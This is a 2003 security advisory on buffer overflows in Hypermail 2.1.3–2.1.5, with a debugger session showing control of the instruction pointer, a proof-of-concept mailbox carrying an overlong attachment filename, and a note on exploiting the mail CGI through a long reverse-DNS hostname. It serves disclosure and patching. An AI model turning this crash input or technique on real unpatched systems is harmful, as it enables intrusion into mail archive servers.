[UNIX] Hypermail Buffer Overflows

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Date: 01/30/03

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      Hypermail Buffer Overflows
    ------------------------------------------------------------------------

    SUMMARY

    Hypermail 2 is a much-enhanced version of the popular tool that converts
    mails into nicely formatted HTML pages. Version 2 has many new features
    including MIME support. Perfect for archiving mailing lists and similar.
    Ulf has found one exploitable buffer overflow in Hypermail's main program,
    Hypermail, and one in Hypermail's CGI program mail. The overflow in
    Hypermail can be exploited by sending e-mails to the program, but it only
    works if Hypermail is configured to use a certain option. The overflow in
    mail can be exploited by setting up a DNS server with evil data and then
    surfing to the CGI program in question.

    DETAILS

    Vulnerable systems:
     * Hypermail versions 2.1.3, 2.1.4, 2.1.5, possibly others

    Immune systems:
     * Hypermail version 2.1.6

    A) Hypermail
    The main program, Hypermail, does not like the combination of long
    attachment filenames (252 characters) and the option progress set to 2.
    This option gives verbose information about what directories and files are
    created, which is useful for new Hypermail administrators or people
    experiencing problems. We have attached a copy of a mailbox that causes
    this buffer overflow.

    How does it work? First, the attachname variable in the parsemail function
    in parse.c is overrun. Then when the function print_progress is called,
    its bufstr variable is also overrun. As you can see on this session
    capture, the processor jumps to an address of the attacker's choice, so
    this is exploitable.

    $ cat /etc/redhat-release
    Red Hat Linux release 7.3 (Valhalla)
    $ uname -a
    Linux h130n1flsxxoxxx.telia.com 2.4.18-19.7.x #1 Thu Dec 12 09:00:42
    EST 2002 i686 unknown
    $ pwd
    /home/vsu/secwork/hypermail-2.1.5/src
    $ ./hypermail -o progress=2 -m /var/spool/mail/vsu
     Creating directory "vsu", mode 755.
    Loading mailbox "/var/spool/mail/vsu"...
     Creating directory "vsu//att-0000", mode 755.
       0 Created attachment file
    vsu//att-0000/01-UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
    UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
    UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
    UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
    UUUUUUUUUUUUUUUUUUUUUUUUUUU
    Segmentation fault
    $ rm -rf vsu
    $ gdb hypermail
    GNU gdb Red Hat Linux (5.2-2)
    Copyright 2002 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and
    you are welcome to change it and/or distribute copies of it under
    certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB. Type "show warranty" for
    details.
    This GDB was configured as "i386-redhat-linux"...
    (gdb) r -o progress=2 -m /var/spool/mail/vsu
    Starting program: /home/vsu/secwork/hypermail-2.1.5/src/hypermail -o
    progress=2 -m /var/spool/mail/vsu
     Creating directory "vsu", mode 755.
    Loading mailbox "/var/spool/mail/vsu"...
     Creating directory "vsu//att-0000", mode 755.
       0 Created attachment file vsu//att-0000/01-UUUUUUUUUUUUUUUUUUUUUUU
    UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
    UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
    UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
    UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU

    Program received signal SIGSEGV, Segmentation fault.
    0x55555555 in ?? ()
    (gdb) whe
    #0 0x55555555 in ?? ()
    Cannot access memory at address 0x55555555
    (gdb) i r
    eax 0x0 0
    ecx 0x0 0
    edx 0x0 0
    ebx 0x55555555 1431655765
    esp 0xbfffe870 0xbfffe870
    ebp 0x55555555 0x55555555
    esi 0x55555555 1431655765
    edi 0x55555555 1431655765
    eip 0x55555555 0x55555555
    eflags 0x10246 66118
    cs 0x23 35
    ss 0x2b 43
    ds 0x2b 43
    es 0x2b 43
    fs 0x0 0
    gs 0x0 0
    fctrl 0x37f 895
    fstat 0x0 0
    ftag 0xffff 65535
    fiseg 0x0 0
    fioff 0x0 0
    foseg 0x0 0
    fooff 0x0 0
    fop 0x0 0
    xmm0 {f = {0x0, 0x0, 0x0, 0x0}}
    {f = {-nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff)}}
    xmm1 {f = {0x0, 0x0, 0x0, 0x0}}
    {f = {-nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff)}}
    xmm2 {f = {0x0, 0x0, 0x0, 0x0}}
    {f = {-nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff)}}
    xmm3 {f = {0x0, 0x0, 0x0, 0x0}}
    {f = {-nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff)}}
    xmm4 {f = {0x0, 0x0, 0x0, 0x0}}
    {f = {-nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff)}}
    xmm5 {f = {0x0, 0x0, 0x0, 0x0}}
    {f = {-nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff)}}
    xmm6 {f = {0x0, 0x0, 0x0, 0x0}}
    {f = {-nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff)}}
    xmm7 {f = {0x0, 0x0, 0x0, 0x0}}
    {f = {-nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff)}}
    mxcsr 0x1f80 8064
    orig_eax 0xffffffff -1
    (gdb) q
    The program is running. Exit anyway? (y or n) y
    $

    There are also other buffer overruns in the parsemail function, including
    in the boundbuffer and the filename variables, but they do not seem to be
    exploitable.

    B) Mail
    The CGI program mail does a reverse look-up of the user's IP number and
    uses strcpy to copy the resulting host name to a fixed-size buffer of 80
    chars. If you set up a DNS server, where your IP number reverses to a host
    name of 122 chars, this is also exploitable.

    As this CGI program allows any mail to be sent from anyone to anyone, it
    can also be abused by spammers.

    Workaround:
    Set the option progress to something else than 2. Configure Hypermail not
    to use the CGI program mail, and then remove the mail program from your
    cgi-bin directory.

    Solution:
    Upgrade to version 2.1.6, which fixes all the problems mentioned above.

    Vendor response:
    The vendor was contacted on 23 January. Version 2.1.6 was released on 24
    January.

    Exploit:
     From vsu@h130n1fls35oxxx.telia.com Thu Jan 23 21:06:32 2003
     Return-Path: <vsu@h130n1fls35oxxx.telia.com>
     Received: from localhost (vsu@localhost)
      by h130n1fls35oxxx.telia.com (8.11.6/8.11.6) with ESMTP id h0NK6W003189
      for <vsu@localhost.localdomain>; Thu, 23 Jan 2003 21:06:32 +0100 Date:
    Thu, 23 Jan 2003 21:06:31 +0100 (CET)
     From: VSU Security <vsu@h130n1fls35oxxx.telia.com>
     To: vsu@h130n1fls35oxxx.telia.com
     Subject: Hypermail test
     Message-ID:
    <Pine.LNX.4.44.0301232106050.3186-200000@h130n1fls35oxxx.telia.com>
     MIME-Version: 1.0
     Content-Type: MULTIPART/MIXED;
    BOUNDARY="-740720036-1481337384-1043352391=:3186"
     Status: RO
     
      This message is in MIME format. The first part should be readable text,
      while the remaining parts are likely unreadable without MIME-aware
    tools.
      Send mail to mime@docserver.cac.washington.edu for more info.

     ---740720036-1481337384-1043352391=:3186
     Content-Type: TEXT/PLAIN; charset=US-ASCII

     Hypermail test

     ---740720036-1481337384-1043352391=:3186
     Content-Type: TEXT/plain; name="vsu.txt"
     Content-Transfer-Encoding: BASE64
     Content-ID: <Pine.LNX.4.44.0301232106310.3186@h130n1fls35oxxx.telia.com>
     Content-Description:
     Content-Disposition: attachment;
    filename="UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
     UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
     UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
     UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
     UUUUUUUUUUUUUUUUUUUUUU"

     VWxmIEhhcm5oYW1tYXINClZTVSBTZWN1cml0eQ0KMjAwMw0K
     ---740720036-1481337384-1043352391=:3186--

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:ulfh@update.uu.se> Ulf
    Harnhammar.

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    Relevant Pages

    • [VulnWatch] Hypermail buffer overflows
      ... PROGRAM: Hypermail ... I have found one exploitable buffer overflow in Hypermail's main ... GNU gdb Red Hat Linux ... The CGI program mail does a reverse look-up of the user's IP number ...
      (VulnWatch)
    • [VulnWatch] Hypermail buffer overflows
      ... PROGRAM: Hypermail ... I have found one exploitable buffer overflow in Hypermail's main ... GNU gdb Red Hat Linux ... The CGI program mail does a reverse look-up of the user's IP number ...
      (Full-Disclosure)
    • [Full-Disclosure] Hypermail buffer overflows
      ... PROGRAM: Hypermail ... I have found one exploitable buffer overflow in Hypermail's main ... GNU gdb Red Hat Linux ... The CGI program mail does a reverse look-up of the user's IP number ...
      (Full-Disclosure)
    • Hypermail buffer overflows
      ... PROGRAM: Hypermail ... I have found one exploitable buffer overflow in Hypermail's main ... GNU gdb Red Hat Linux ... The CGI program mail does a reverse look-up of the user's IP number ...
      (Bugtraq)